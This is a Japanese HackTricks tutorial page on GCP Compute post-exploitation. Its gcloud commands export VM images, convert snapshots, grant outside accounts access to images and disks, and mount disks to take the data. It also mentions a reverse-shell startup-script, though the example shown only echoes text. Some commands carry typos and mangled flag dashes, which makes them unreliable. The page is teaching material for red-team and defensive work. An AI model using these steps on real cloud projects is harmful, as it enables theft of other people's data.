GCP - Compute Post Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Compute

For more information about Compute and VPC (Networking) check:

GCP - Compute Enum

Export & Inspect Images locally

イメージをローカルにエクスポートして検査する

これにより、攻撃者は 既存のイメージに含まれるデータへアクセス したり、稼働中のVMの新しいイメージを作成 して、そのVMにアクセス権がなくてもデータにアクセスすることが可能になります。

VMイメージをバケットにエクスポートし、それをダウンロードしてローカルにマウントすることが次のコマンドで可能です:

VMイメージをエクスポートしてダウンロード ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

この操作を実行するには、攻撃者はストレージバケットへの権限が必要な場合があり、そしてエクスポートを実行するよう要求されるcloudbuild に対する権限が確実に必要です
さらに、この動作を行うためには codebuild SA と compute SA に特権権限が必要です
The cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com には次の権限が必要です:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

そして SA <project-id>-compute@developer.gserviceaccount.com には次が必要です:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

スナップショットとディスクをローカルにエクスポートして検査する

スナップショットやディスクを直接エクスポートすることはできませんが、スナップショットをディスクに、ディスクをイメージに変換することは可能で、前のセクションに従ってそのイメージをエクスポートしてローカルで検査できます

スナップショットからディスクを作成し、ディスクからイメージを作成する ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### VM を作成して Image を検査する

攻撃者がimageを作成した元の場所から、**data stored in an image**または**running VM**内のデータにアクセスすることを目的として、外部アカウントにそのimageへのアクセスを付与することが可能です:

<details>

<summary>image へのアクセスを付与して VM を作成</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

そしてそれを使って新しい VM を作成します:

イメージから VM インスタンスを作成 ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

外部アカウントにimageへのアクセスを与えられない場合、ターゲットのプロジェクトでそのimageを使ってVMを起動し、メタデータにreverse shellを実行させることでimageにアクセスできます。以下のパラメータを追加します:

メタデータでreverse shellを実行するVMを作成 ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Inspect a Snapshot/Disk attaching it to a VM

アクセスすることを目的としてディスクまたは snapshot に保存されているデータに対し、snapshot を disk に変換したり、disk を image に変換して前述の手順に従うことができます。

または、disk に対して外部アカウントにアクセス権を付与することもできます(開始点が snapshot の場合は snapshot に対してアクセスを付与するか、そこから disk を作成してください):

disk へのアクセスを付与する ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

ディスクをインスタンスにアタッチする:

インスタンスにディスクをアタッチする ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

VM 内にディスクをマウントする:

  1. VM に SSH で接続する:
VM に SSH で接続してディスクをマウント
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. ディスクを識別する: VM に入ったら、ディスクデバイスを一覧表示して新しいディスクを特定します。通常は /dev/sdb/dev/sdc などとして見つかります。
  2. ディスクをフォーマットしてマウントする(新規または raw なディスクの場合):
  • マウントポイントを作成する:
マウントポイントの作成とマウント
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • ディスクをマウントする:
ディスクデバイスをマウント
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

もし スナップショットやディスクへのアクセスを外部プロジェクトに付与できない 場合は、スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらの操作を実行する必要があるかもしれません

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする